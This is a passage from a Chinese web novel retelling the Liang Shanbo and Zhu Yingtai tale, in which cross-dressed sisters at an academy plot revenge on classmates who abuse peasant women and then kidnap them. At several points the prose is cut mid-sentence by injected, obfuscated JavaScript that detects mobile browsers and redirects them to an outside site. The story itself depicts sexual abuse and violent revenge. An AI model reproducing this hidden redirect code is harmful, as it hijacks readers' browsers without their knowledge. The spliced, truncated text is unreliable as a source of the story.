崔婉眼前的薄雾好似突然被扯了下来,她终于看见了焦黄又无声的土地。 百姓离开故土的悲哀,远比士大夫要深重得多。 以至于她回去之后,鬼使神差地问祝英回:“女郎,如此勾起百姓的亡国之恨,于他们而言,是不是一种更深刻的悲哀呢?” 祝英回惊讶地看着她,祝英台站了起来:“是,但是我们需要他们的恨。” 她直勾勾地盯着崔婉:“总有一天,我们会带着他们回到那片故土。” “恨会如稗草扎根,生长出勇气。” 也许一天,也许两天。 总之,当王家察觉的时候,这两首诗已经在底层很流行了,就连元宵也蒙着一层来势汹汹的思乡色彩。 造势大失败。 但王家家主并不在意,元宵诗会只是一个借口,父母之命媒妁之言,王清然又能怎样。 反倒是王清然,在风向的改变中,察觉到了一点不一样的东西。 元宵当日,年岁尚小的王小公子在元宵诗会上遇见了一个戴着狐狸面具、天真烂漫的小姑娘。 两人牵着手,直到元宵诗会结束了,王小公子还不舍得松开手,眼巴巴地问:“你是谁啊?” 小姑娘摘下狐狸面具,粲然一笑:“我叫陈璨,你要记住了。” 而那头,王氏的元宵宴席上邀请了陈家前往,包括陈氏的大公子陈琼。 陈璨与王小公子在王氏的宴席上再次相遇,而陈琼与王清然也被人为地安排到了一起。 恶心,王清然看着微笑的陈琼,满脑子只有两个字不断的重复:恶心恶心恶心恶心恶心…… 讲实话,陈琼长得很不错,温润如玉芝兰玉树,家世也很不错,如果他不是在这个时候出现在这里,王清然会很乐意和他有点什么。 她深吸了一口气,扭头就走。 爹,我本来想好好和您过一个元宵,但现在看来—— 这会是您最后一个元宵。 第二日,随着王家家主没了的消息一起到祝氏姊妹的庄子里的,是乔装改扮的王清然。 她说:“我需要一个承诺。” “父死则服丧三年,我只有三年时间。” 崔婉笑了:“成交。” 而那一边,祝英回和祝英台已经改扮男装,往尼山书院去了。 祝英台问:“姐……哥哥,咱们为什么不见见王清然。” 祝英回正假寐,闻言笑一声:“见她做什么,怕出了岔子的时候,她卖咱们卖得不够快吗?” 祝英台赞同地点头:“说的也对。” “我们需要王清然帮我们联系有同样野心的士族女,王清然需要我们在成功之后拉她一把,帮助她坐稳家主的位置——” “但是咱们最多算互相利用,离盟友还差了十万八千里。” 祝英回道:“再搜集一些像覃微那样的人吧,今年的收成可不能就这么放着。” “狡兔三窟,方才安稳。” 祝英回和祝英台开学就算早的了,但是没想到还有更早的。 看着梁山伯从书院里走出来,祝英台惊奇道:“山伯?你在做什么?” 梁山伯抬头看见祝氏两姊妹,笑得很真切:“夫子告诉我,假期允我为书院抄书赚钱。” “我想着减轻一点家里的负担,便早早的来了。” 祝英回点头:“原来如此,小九和小十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340080|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书信告诉我,她们在宴席上看见你了,你怕不是第二日就走了。” 梁山伯红了脸:“令,令妹说了些什么?” 祝英台看他羞涩,不由得玩心大起,故意道:“能说什么?不过是讲了一些寻常事务,又称赞你的梅花画得好罢了。” 她做狐疑状:“还是你做了什么奇怪的事情,害怕我妹妹告状?” 梁山伯大惊,一时间语无伦次:“不,我不曾唐突,我,我没有亵渎之心的……” 看着他急急忙忙解释的样子,祝英台笑了出来,又恨恨道:“不过王述那小子,我非得教训他不可。” 梁山伯松了一口气,温和地劝:“王述也没有什么坏心思,只是有些……” “他就是傻罢了。”祝英台截了他的话,愤愤不平“跟八……祝英齐告状!可真有他的!” 梁山伯失笑:“他也是无心之过,英台,你便饶过他这一回吧。” 三人说说笑笑,直到回宿舍才分开,而桌子上静静地放了二两金。 祝英台上前拿起金子,叹道:“我说他怎么春节还在抄书,原是为了这个。” 祝英回看了一眼妹妹手里的金子,不由微笑:“梁兄自有他的风骨,若是不收,恐怕他会为了此事辗转反侧。” 祝英台啧了一声:“我当然知道,山伯看起来脾气好,但执拗起来,谁也改变不了他的决定。” 祝英回又道:“恐怕是瞧见了我们上山的马车。” 她们来了后两日,年味还没有散尽的时候,马文才也到了。 他如开学时那般骑马上山,到了书院门口扯住缰绳,翻身下马。 祝英台站在门口,双手抱胸,没好气地啧了一声。 马文才扫了他一眼:“你抽什么风?” 祝英台当然不能说自己是因为姐姐被逼婚的事情,转移话题道:“你怎么也来了,听小九她们说,你家大年初三开始就在办宴席。” 马文才神情更难看了,牵着马就往马厩走。 祝英回此刻也走了出来,笑吟吟道:“不会是被逼着成亲吧?” 被戳中痛点的马文才只当做听不见,拴了马回来之后才冷嘲:“我又不似你们二人,过年都往外跑。” 说着,他神色多出了两分犹疑:“你排行第九那个妹妹……” 祝英回做惊诧状:“你瞧上她了?!小九与你可只见了一面。” 马文才被噎了一下,没好气道:“不是!” 祝英回眨了眨眼,面不改色地笑道:“是也没关系,好歹你的人品我是知道的,若是对她不好,我还能上门与你讨个说法。” “咱们还有同窗之谊在,是吧?” 马文才无可奈何又百口莫辩,只觉得自己就不该因为祝英回和祝家小九背影生得很像就贸然来问。 他将心中的那点本能的疑惑按了下去,又道:“好了,别说这些七混八混的话,叫旁人听见了对你家小九不得了。” 祝英回从善如流地转移话题,只道:“我到庄子上去了一趟,那些女子生活得很安静。” “只是恐怕还要些功夫才能振作起来。” 19. 买粮 虽然还没有开学,但书院里也不是什么事儿都没有的。 尤其是刚刚过完年,不少师生仆役还没有回来的现在,很多事儿都得亲力亲为。 譬如,买菜。 除去几个学生之外,伴随着自家公子小姐回到学院的还有丫鬟小厮,原本预备的菜便不太够用了。 索性附近农户猎户都不少,因为亲缘淡薄留在书院的夫子便拍板让他们去采购食材。 也算是社会实践了,以免教出来的学生当官儿之后不知米粮价。 不过嘛…… 祝英台、祝英回、梁山伯、马文才,拥有在这个时代挑菜讲价经验的,只有梁山伯。 当初他可是靠着对各色农作物与观赏植物的了解成功找到陶渊明的住处的。 他们一行人走了一截山路,路过了几户人家,停留在一户外面。 院子里挂着兽皮,有一块小小的菜畦,里面的青菜翠绿翠绿的,正中间挂着几件衣裳。 梁山伯敲开了一户人家的门:“打扰了,在下是附近书院的学子,想询问是否还有余粮出售。” 来开门的是个约摸十来岁的小男孩儿,他迟疑了一下,怯生生地问:“官人想要多少呢?” 梁山伯笑道:“书院中大概有二十张要吃饭的嘴,若是能联系到其他人,还请一起匀一匀吧。” 小男孩不安的看了他一眼,小声说:“我阿爹阿娘不在家里,没办法分出去太多。” 梁山伯耐心道:“那小郎君能够匀出来多少呢?其余的,还请小郎君帮我们去其他人的住处,问一问吧。” 小男孩似乎放松了一些,报了一个数,又立马看梁山伯脸色。 梁山伯温柔依旧,只笑:“原来如此,那我们也只好拜托小郎君去看看其他人家里有没有了。” 说着,他俯身拉过男孩儿的手,往里面放了两枚铜板:“这两枚钱,都当做是佣钱吧。” 小男孩点了点头,把门一锁,就撒丫子往外跑。 等到他走之后,马文才道:“他在撒谎。” 祝英回不吭声,只看梁山伯的反应,只见梁山伯点头:“确实如此,今年的收成不算差,这一家又只有一个孩子,还有闲心打猎种菜——” “家里应该余粮不少。” 祝英台突然插嘴:“但是他们不敢卖出去太多,惧怕暴露了日子过得还不错,也惧怕我们是搜刮民财的小吏。” 所以梁山伯让出余地,任由那个小孩子去告诉其他人,然后拼拼凑凑凑出够二十个人吃的粮食。 “他们给出来的价格,应该比市场价更低。”祝英台眼神飘向马文才“也比买办收的价格要低。” “这倒像我们故意似的。” 马文才毫不客气地反击:“我以为,这不只是我一人的原因。” 四个人,其中三个明摆着是书院里非富即贵的学生,尤其是神情冷淡不言不语的马文才,整个人都散发着一种“敢骗我就弄死你”的气息。 也说不好他们这一路走过来家家闭门闭户有没有他的原因。 祝英回啧了一声,神色有些懒倦:“别吵,我们估摸着还得在这儿等一炷香的时间。” 她倚靠在树上,声音很低,只够其他三人听清:“那孩子不请我们进去坐坐,估摸着家里是不止他一个孩子的。” “可能,还是个生得不错的女孩儿。” 所以就算冒着触怒贵人的风险,也不能请他们入内一坐。 篱笆瓦舍,小小的一间屋子,无论如何也藏不住一个人,尤其是,一个别有用心的人。 其余三人顿时一静,眼神不约而同地看向了那间屋子。梁山伯脸上显出了怒气,温润的眼睛藏着疼惜:“那些人真是败坏书院的名声!” 马文才闭上眼,将俊美的容颜扭向一侧,修长的手却不自觉地摸上了自己的黑羽金漆弓。 爱美色的人,难道会只祸害羞辱妓馆女子就算了吗? 放得开的风情万种享受过了,青涩可口的懵懂少女、温婉娴慧的簪笄人妻又是另一种风味。 也许这些人还觉得被他们欺辱的女子赚了——毕竟尼山书院里的人渣有钱有权,对于合心意的女子,可并不介意轻佻地撒下钱财。 这里的山民靠着尼山书院的地过活、避开苛捐杂税,他们比寻常的百姓更怕官府。 欺负这些人,在这个混乱的世道里,算什么闯祸呢? 祝英回合上眼,近乎是喃喃自语:“这个世道啊……” “无一处净土。” 马文才却听见了,忽然睁眼看向她,那双桃花目映着她的身影,几乎是眨也不眨:“就算天下太平了,也会有此等污人耳目之事。” 他扯起一个嘲讽的笑:“你这就为之所动了?” 阳光渐弱,可十八岁的人,介于青年与少年之间,身形修长,已经逐渐脱去稚气,变得沉稳而有力。 祝英回猝不及防对上他灼灼目光,二人沉默对视之间,她忽而笑道:“当然——不会。” 如果说梁山伯与祝英台能成为好友,是因为两个理想主义者在面对这个恶心的世道拥有义无反顾的勇气。 那么这两个从开学就渊源颇深的人,能够成为好友,则是因为如出一辙的—— 傲慢。 自信自己能改变所有的傲慢。 祝英回慢悠悠道:“可若是连这里的事情都解决不好,何谈其它?” 她拖长了尾音:“人正如屋之梁柱,腐朽则易,朽木受潮而生虫,又朽他木,不得不烧之取暖,以、绝、后、患。” 祝英台冷笑着接上:“隐人罪过如季友诛叔牙,广而告之则如商鞅奉其母。〔2〕” “无可辩解。” 一道暗藏着怒意的温和声音也岔了进来:“民之性,饥而求食,劳而求佚,苦而索乐,辱则求荣〔3〕。何曾道安逸而辱人?” 四人之间的气氛一时松懈下来,只静静地等待着那个小孩儿带着足够的米粮前来交易。 尼山书院并不吝啬钱财,梁山伯不厌其烦地按照粮食的数量将银钱公平地分给其他人—— 小孩子很难镇住场子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13340081|140519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说不定也会有人看他小故意霸占,梁山伯很愿意多花一点时间解决这个问题。 祝英回最后回头看了一眼那间屋子,便随大家离去了。 不急于一时。 直到四人带着粮食回到尼山书院,交给后厨,天色已经渐渐地黯淡了下去,难得的夕阳如火,燃烧了整片天。 然而,大家并没有各回宿舍休息的意思。在交换了一个眼神后不约而同地往梁山伯的宿舍去了。 梁山伯与荀巨伯同住,二人都是好文之人,床上几乎是放着一面书山,各色纸墨笔砚规规整整地放在桌子上。 那些用具不尽相同,看起来不像自己买的,应该是学院里各位夫子素日里给的。 夫子们习惯不同,喜欢的文房四宝也有所区别,因此这里才显得如此杂乱。 梁山伯后知后觉地红了脸:“我们习惯如此看书,有些乱……” 祝英台笑道:“我和兄长看书入迷了也是如此,不知不觉便垒起了一面书山。” 祝英回点了点头,以示妹妹不是胡说。 马文才嫌弃地往旁边站了站,双手抱胸:“好了,有什么要商量的,快些吧。” 说到这件事情,几人纷纷收起了闲谈的状态,开始认真的商讨起来。 首先,要把这群人整到什么程度。 祝英台眼神一转就是一个主意:“哥你说,咱们让他体会一把那些女子的处境,如何?” 祝英回与她心有灵犀,不由得挑眉:“你的意思是说,让他们互相祸害?” 她说的隐晦,祝英台却知道她懂了,笑嘻嘻道:“爱下山的,也不只是那些爱女色的家伙嘛。” “爱男色的也不少啊。” “断袖之癖,龙阳之好,叫什么都行,不如让他们互相满足满足。” 好男色的不一定不去祸害女子,但是好女色的一定不会想和男人勾勾缠缠。 祝英台意味深长:“这可是极风雅的事儿呢。” 旁边的两位已经被雷劈了似的愣住了,良久,梁山伯艰难地组织语言:“你们的意思是,是……” 他实在说不出口,最后干脆放弃了,只问:“那要如何实施呢?” 相较而言,马文才虽然也愣了,但很快就回过神了,道:“我知道有些人会下山去小官馆,我们把那些人打晕了装扮装扮塞进去就行了。” “偷梁换柱,不算难事。” 梁山伯听见马文才镇定自若地出谋划策:“马兄,你……” 顶着梁山伯怀疑又诧异的眼神,马文才嗤了一声:“正如他俩说的那样,此事在世家圈子里算风雅之事。” “虽然不是所有人都能接受,但也是习以为常了。” 书院里那些只祸害女孩儿的人渣,多半就是接受不了这类事情的。 虽然马文才也并不是特别接受得了这种事情,但被祸害的又不是他自己,他对于这群家伙没有半点同理心。 他们不想莫名其妙地和男人搅到一起,难道那些受难的女子就是天生地该和人渣搅到一起吗? 20. 开学 不过眨眼功夫,就到了尼山书院开学的日子,愿意回来的不愿意回来的都到了书院门口。 王述仍然是小厮侍从前呼后拥,箱奁无数的架势,他一边捧着家里带来的糕点嚼嚼嚼,一边听其余四人的计划。 他杵了杵旁边的荀巨伯,嘀嘀咕咕:“欸,你说这群人作死也得有个限度吧……” 家风很严的蓝田侯世子不敢置信道:“不是,真觉得学校里面,离开了爹娘没人能管就胡作非为是吗?” 荀巨伯默默地看向他,眼睛里都是质疑:你难道就好到哪里去了吗? 王述看懂了他的眼神,哽了一下:“我不是早就改了吗?!我去年被马兄使唤得那样你们不都看见了吗!还有,就算没有马兄,我也不会干这事儿!” 他声音一大,祝英台就望了过来,皮笑肉不笑:“哟,咱们王世子有什么意见吗?” 她磨牙道:“今年新年的时候您可没少表达意见啊。” 祝英台两步跨到王述面前,双手抱胸似笑非笑:“来,有什么意见面对面说,免得显得我祝英台不讲道理。” 王述一愣,随即想了起来自己告状的事情,支支吾吾道:“啊……这个嘛……他就是这么个事儿……” 祝英台哼笑一声,却没有继续追究下去—— 去年最终也没能让王述实现暴揍室友的愿望,虽然祝英台被他的告状坑了一把,但也只能说是扯平了。 新年刚过,就是真种马也得歇两天,相较于这种急不来的事情,还有另一件事情更迫在眉睫。 第一个学期过去之后,四书五经都粗略地了解过了,接下来便是深入的学习。 尤其是以《尚书》为基础展开的各色深入学习,学子们都还没有择定日后的学习流派。 尼山书院自身也并不存在什么倾向,干脆在寒假时请来了当代古文大佬孟之义和今文大佬顾幸开两门课,可选修,也可都看看。 其它争议性虽然没有这么大,甚至由于两位大儒知识的系统性学习而统一,但也大致分了几个下属课程。 一眼看过去,课表上的课简直让人眼花缭乱。 而技能性更强的六艺倒是没有什么争议可言,值得一提的是六艺中的九数〔1〕,书院中有夫子擅长以周易之术计算天时地利,也被归为数科。 王述、马文才两个出身世家的公子对学派之争没有特别大的兴趣,至少在听两位大儒讲课辩经之前是没有的。 祝英回看着跃跃欲试的妹妹,明智地闭嘴,对于她来讲,六经注我也好,我注六经也好,有用就行。 但是对于古人来讲,学术之争是比阶级之争、男女之别、身份尊卑更容不下异端的东西。 在科举还没有出现、当官儿基本靠朋友圈的魏晋南北朝,古文今文之争考皇帝。 但在科举出现之后,主考官和出题人的位置夹杂了大量的私货—— 只要你想当官儿,就得在明面上认可主流学派。 你说着认可主流学派的话、干着主流学派的活、乃至于为了子孙后代的前途教导儿孙也是以主流学派的经义教导。 那你不就是主流学派的人?心里怎么想的重要吗? 再过两代,就算有人还记着自己的学派,谁还能以自己学派的方式解读经义? 祝英台的倾向暂定,但梁山伯很明显对孟之义的课程兴趣更大,而荀巨伯却更认同今文学派。 看着说着说着就吵起来的两个人,和在其中和稀泥的祝英台,祝英回揉了揉额头,选择转移话题:“好了,不说这个,我们这一期武科学什么?” 王述赶紧说:“是剑术。” 他撇了撇嘴:“说什么剑乃君子之器——谁干架的时候真用剑啊?” 擅长用刀的马文才赞同:“不错!” 对兵器不挑的祝英回认可:“正是!” 对剑情有独钟的祝英台:微笑.jpg 无意中拱火让梁山伯和荀巨伯越吵越凶的祝英台瞬间跳脚:“剑不轻易出鞘,乃仁器也!出鞘便是护主,不失为义!” 场面一瞬间混乱起来。 祝英台强调剑的好处,马文才对此嗤之以鼻,并反击:“剑在单对单不如刀,在战场上不如矛与长枪,不过是清谈家哄抬身价而已!” 梁山伯和荀巨伯更有要搬张桌子就地开始辩经的意思。 作为万恶之源的王述目瞪口呆,下意识看向了祝英回:“祝,祝英回,怎么办啊……” 他看着身姿挺拔的同窗深吸了一口气,微微提起了唇,露出了一个怎么看怎么危险的笑容:“好了!” 锐利的凤目首先看向祝英台和马文才:“怎么,你们二人是要上战场,于是对彼此的兵器格外在意吗?!” 她冷笑抬手给了祝英台一下:“剑乃君子之器——你是君子吗就为此辩经?” 她慢条斯理道:“义以为质,礼以行之,孙以出之,信以成之〔2〕。” “你都符合吗?” “子曰君子讷于言而敏于行,我看你嘴巴能说得很!” “既然剑是君子之器,那你自认配将此君子器挂在腰间吗?” 说到最后她直接气笑了,没忍住再给了祝英台一下:“以物喻人,文人常用。但我看你是学魔怔了!” 祝英台吃痛,却一声不吭,丝毫不敢触姐姐的霉头。 随即,她盯着马文才,话语怎么听怎么阴阳怪气:“周礼之中,以剑为礼器,正是看中其不轻易出鞘之性。” “周礼将兵器剥离战场之外,是为规行矩步,礼仪之人。” 她微笑道:“马兄有异议吗?” 马文才憋气道:“没有。” “很好。”她转动眼珠,看向不知何时停下来看过来的两人,再次笑了起来“看我做什么,辩经啊!” 她扭头跟王述说:“拂尘桌子、茶具经书!着人去搬过来!今儿我们就看着梁公子和荀公子论一论经!” “哦,还有顾、孟两位学士,若是遇见了,便一道请来吧!” 梁山伯、荀巨伯:…… 不敢了不敢了。 王述偷偷看了祝英回的脸色,响亮应是:“我这就去!” 荀巨伯连忙把他拦下来,讪笑道:“不不不不,我们只是对经书谈论一二,何必这么兴师动众 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的眼瞳格外黑,就这样看着祝英回,忽而,又移开了眼睛,转身就要走:“算了。” 祝英回一愣,立刻伸手拽住了他,马文才习惯带护腕,劲瘦的腕被收束在窄窄的袖口中。 他的体温透过硬质的护腕传了出来,来自另一个人的、陌生的温度让祝英回有点出神。 鸦青长发被束成一束,一荡,落在了马文才身前,他不自觉地将修长的五指屈收成拳。 也不催祝英回说话,就这么静静地看着她。 祝英回很快回神,笑意温和,凤眼清润又透彻,非常真诚:“我不过是顾及马兄别有打算而已,如何就是把你放在最后了?” 她松开了手,后退了一步,马文才的眼神落在她的腰间,霎时间又移开了眼睛:“我知道了。” 而他对面那个人似乎察觉到了,笑吟吟地示意:“禁步易碎,我便收起来了。” “马兄心胸宽阔,真是我所不如的。” 21. 计 祝英台不知道她姐姐是怎么把明显有意见的马文才说服的。 但看着两人被老师点出来打了一场表演赛后,她不由得感叹:“我哥的功夫真挺不错的。” 岂止是不错,好到她都不知道姐姐是打哪儿学来的。 如果不是她们作为双胞胎,从小便焦不离孟孟不离焦,祝英台都怀疑亲姐是不是背着她去拜了个厉害的师父。 荀巨伯啧了一声:“我倒是好奇这两人若是真打起来,谁能赢。” 自家人知道自家事,祝英台想了想:“若是一对一就不好说,可若是在战场上,我哥得胜的概率不高。” 王述凑了过来:“为什么呀?” 祝英台耸了耸肩:“他不擅长射箭啊!”练武还好说,祝家是不可能让自家姑娘在这个混乱的世道出去跑马打猎的。 “而且,我哥哥不喜欢吃猎来的东西。”祝英回想了想,补充道“不是不喜欢,应该说是极其讨厌。” “以前祝英齐打来了两只兔子烤了吃,他不吃不说,也不许我和其他人吃。” 主观因素和客观条件叠加之下,导致祝英回射箭虽然能够命中靶心,对于移动靶却是十足的苦手。 若是上了战场,一旦让敌军拉开距离改枪换弓,就很被动。 王述不理解:“他是不是不吃兔子啊?” 祝英台摇了摇头,正待解释时,倏然有一个人的声音插了进来:“哟,没想到啊,咱们的祝兄还有一副菩萨心肠。” 他声音拖长上挑,十足的蔑视讽刺。 祝英台看了过去,白眼一翻:“我以为是哪位公子呢,原来是做农活做到躺在地里哭的陈颍陈公子啊。” 她微笑道:“陈公子,眼泪擦干了吗?同窗一场,在下也不是不可以借你一根手帕。” “不过——擦过眼泪之后就替我丢了吧。” 陈颍神色一厉:“祝英台!” 祝英回呵笑:“叫你爹做甚。” 做农活虽然累,但是陈颍确实没有做到在地里打滚儿哭,只是他做到后面直接把农具一丢就要走。 然后就被马文才一箭射穿了衣袖。 以下为在田边蹲着监工的同学转述: 树荫下,禁步相鸣,左边那人道:“马兄,你有些冲动了。” 右边那人冷冷地瞥了陈颖一眼:“我说过不会留手,是他咎由自取。” 先开口那人笑意盎然:“我并非此意,只是——马兄,他还差半步才踏出去呢。” “待他踏出来,将他的脚掌钉在地上,让他无法离开,不是更好么?” 马文才想了想,颔首:“你说得很是,下次吧。” 祝英台啧了一声,知道陈颖在想什么,无非是想试试祝英台的深浅。 开学的时候祝英台还没来得及完全适应,露了不少破绽,在外人眼里,就是优柔寡断。 更何况这些世家公子虽然涂脂抹粉装模作样,但那种不把人命当命的习惯性思维,是祝英台永远学不来的。 也是所有养在深闺的女子学不来的。 想到这里,祝英台抬手盖了盖鼻尖:“离我远点,身上一股子臭味。” 陈颖怒极反笑:“祝英台!好!我倒要看看,你兄弟两人的秘密被揭穿之后,嘴巴还能不能这么硬!” 祝英台心里一突,面上却不显,反而双手抱胸:“哦,那我和我哥哥就拭目以待咯。” 她讥笑陈颖:“到时候可别哭着求人放过你!” 陈颖说不过她,气急败坏,举起手就是一拳。 祝英台轻而易举地闪了过去,左脚一勾,就把陈颍勾了个大马趴。 一道温润含笑的声音传了过来:“英台,可别这么说陈兄。” 梁山伯换了一身方便行动的胡服,平日里温文尔雅的人英气十足,眉眼锐利非常:“否则,他可能要与陈伯伯告状了。” 梁山伯一笑,眼神向下,暗示意味颇重:“英台,何必呢?” 祝英台一愣,恍然大悟,抬脚就踩在了陈颍后心,脚尖用力碾了碾:“若是梁兄不说,我还懒怠与他计较。” “可梁兄既然说了,那我倒想问问陈公子。” “你会告状么?” 她下脚很重,陈颖只觉得心口闷痛,忍痛道:“不……不会,同窗之间,有什么值得计较的呢。” 这边的动静已经被祝英回尽收眼底,她一剑上挑,弹开了马文才刺来的动作。 二人交换了一个眼神,匆匆结束了这场表演赛。 他们向夫子拱了拱手,便离开了人群中心。 祝英回抬手,剑鞘抵在了一个犹犹豫豫的同学肩膀上,她微微用力,就将人弄进了因为祝英台动手而形成的真空圈内。 她笑意温和,声音慢条斯理:“英台,快放开陈公子。” “你瞧,这人与陈公子是好友,已经迫不及待想要打抱不平了呢。” 祝英台从善如流地挪开了脚,蹲下来伸出手:“呀,我不小心踩脏了你的衣服,陈颖,你不会介意吧。” 马文才向来直白,他往那儿一戳,长剑一横,就把目标都赶到了六个人的包围圈内。 祝英回见状,笑意更深,当即扬声道:“夫子!既然单对单已经看过了。” “不如请陈颖和其他几人和我们几个打团队赛吧。” 她看着陈颍,凤目戏谑:“我看他们已经等得很不耐烦了。” 在夫子的默许下,团体赛成功开展,在优势方有意将这场比赛的时间延长的情况下,陈颖他们顺理成章地被揍了个满头花儿。 刚好是不影响活动,但是伤自尊的程度。 直到太阳西斜,六个人才松了松筋骨,迎着其余人或畏惧、或狂热的目光下了台。 几人安静地走出了老远。 直到身影消失在众人视野中,祝英台才憋不住地大笑出声:“我感觉我好像欺负同窗的恶人啊!” 她满脸新奇:“就是那种,话本子里的反派!” 祝英台活动活动筋骨,笑着给了梁山伯一拳:“亏我还以为你是老实人,谁知道拱起火一点儿也不含糊嘛。” 陈颖等人能和他们打这么久,而不是直接认输,根本原因就是梁山伯在他们想要放弃的时候,就会恰当地卖个破绽。 用以逗引他们攻击的欲望。 许是身侧好友相伴,又许是今日气氛实在太好,梁山伯拱了拱手,在温吞之下的少年意气尽数迸发,笑容明朗:“英台动手之时,也不见有所留情啊。” 荀巨伯撞了撞他的肩:“得了吧,咱们这六个人啊,就是沆瀣一气、狼狈为奸,谁也别说谁。” 马文才挑了挑眉:“我既不想做夜间水汽,也对当野兽没什么兴趣。荀巨伯,所谓引喻失义,你当与后主共勉啊。” 荀巨伯嗤了他一声:“得了吧,就你动手最勤快,最后不是还趁着那几个家伙没认输多补了两下?” “陈颖也是惨,你最后反手给他那一下够他养几天了!” 几个人笑笑闹闹,各自回宿舍养精蓄锐,只待天彻底黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他不怀好意道:“他本人又不差,无论如何,总比你受重视多了。” “王述家里多多少少有个爵位,你能奈他何?” 崔氿的呼吸声忽轻忽重,半晌,他恨恨道:“好!就算这两个人我动不了,祝氏那两兄弟呢?我可没听说有哪个大家族姓祝!” 陈颖笑了一声:“祝氏的确不显山不露水,但是他们在跟马太守商讨婚事,你能如何?” 崔氿不吭声了,与之同时,窗外埋伏着的众人目光一致地投向了最旁边的那个人,马文才俊美的面容更冷了,他面无表情地一一瞪了回去。 而就在他们做眉眼官司时,里面传出了董齐实的声音:“马家在和祝氏商讨婚姻之事?我怎么不知道?” 崔氿嘲讽他:“你当然不知道。” 他面色阴晴不定:“大年初三那场宴会开始,马太守就一直在给他挑选妻子。” “祝氏也是会稽的名门望族,虽然比不得其他几家,但是胜在小心谨慎……” “而且,据说与马家商议婚事的那个,生得和祝英回很像。” 陈颍嘶了一声,好似是觉得恶寒:“所以,你那个表哥,和姓庾的家伙都是女人不搞搞男人的东西?” 崔氿哼笑,很是阴阳怪气:“谁知道呢,也许我那个表哥就是想兄妹双收呢——” 他的话没能说完,因为其他几个人按不住暴起的马文才和祝英台了,干脆一拥而上,把三人全部打晕塞进车厢里了。 祝英台咬着牙,一脚把崔氿从屋子里边踹了出去,她很谨慎地没有说话,但祝英回能清楚地从她周身的气场里读到这样一句话: “今天,我非弄死他们不可!” 22. 实施 荀巨伯同样把全身都遮得严严实实,坐在了马车夫的位置,也是最方便套话的位置。 之所以是他,盖因其他人都不会改变自己的音色,张口就露馅。 而荀巨伯也不知打哪儿学来的此等技巧,今日正好就派上用场了。 马车和马是王述在天黑前弄来的,一回生二回熟,他对这种事情已经很熟练了。 五人骑马随行,竖着耳朵听车厢内的动静。 里面的陈颖等人悠悠转醒,一动,就感觉到了绳子的束缚感。 被绑架了? 听着外面车轮轱辘辘碾过石子的声音,他们懊悔起来今晚上将随身的护卫派去挑选山户农女的事情。 怎么就这么巧,正好和绑匪撞上了。 陈颖屏息听了半晌,发现车厢外还有马蹄声,马蹄声很是杂乱,听起来马的数量还不少! 董齐实根本不相信这是巧合,他对其他人做了口型。 崔氿都懒得看他说了些什么。 这么明显的事情,还需要说吗? 崔氿谨慎出声:“有人吗?” 荀巨伯靠在车辕上,单手握着缰绳,听见他的问话,随意地嗯了一声:“醒了?” 崔氿被这两个毫不在意的字眼梗了一下,但也为他的态度暗暗松了一口气,然后道:“这位……公子,我有什么得罪你的地方吗?” 他担心外面的人怀疑自己在打探他的身份好打击报复,连忙说:“我并没有什么别的意思,只是冤家宜解不宜结。” “我还有一点积蓄,如果您愿意的话……” 荀巨伯哦了一声:“我不愿意。” 他笑眯眯道:“说说吧,愿意出什么价钱。” 崔氿以为有门,连忙报上了黄金千两美人无数的价钱,甚至他还许诺,只要他愿意反水,就可以在崔氏获得一席之地。 从此跻身贵族,不再是低贱的平民。 越说他越有自信,最后笑道:“以诸位潜入尼山书院的本事,我崔氏向来求才若渴——” “最后出相入将,小弟可能还需要大哥提携呢。” 车厢外的其他人交换了一个眼神,马文才哼笑着低声评价:“倒是身段柔软。” 他的话语中不乏讥讽,祝英回弯了弯唇:“可惜,就算是这般身段柔软,今夜也救不了他了。” 祝英台看了一眼车厢,面容少见的冷凝:“这群渣滓羞辱我兄弟姐妹的时候,就必然让他付出代价。” 荀巨伯咳了一声,示意他们安静,他慢悠悠道:“哦——崔少爷就是用这种手段,收买前来的其他人吗?” 崔氿顿时没声了。 里面三个人对这群人身份的猜测从收人雇佣的杀手,一路滑到了家里有女子被嚯嚯的仇家。 然而,寂静只维持了片刻,不多时,陈颖便冷静地开口:“对于阁下姐妹所遭受的事情,我们负荆请罪尚且不能赎还其万一。” “只是发生的事情已经发生了,哪怕阁下杀了我们泄愤,也于事无补。” “若是阁下愿意放了我们,除去崔氿所许诺的东西外,我们愿意认她做义妹。” “生时享尽荣华富贵,美男环绕。死后香火不断,祭祀不绝,定使小妹得以登上西方极乐世界。” 陈颖内心盘算了一下,被他们玩儿死的良家女子也就那么三四个,所占比例很小。 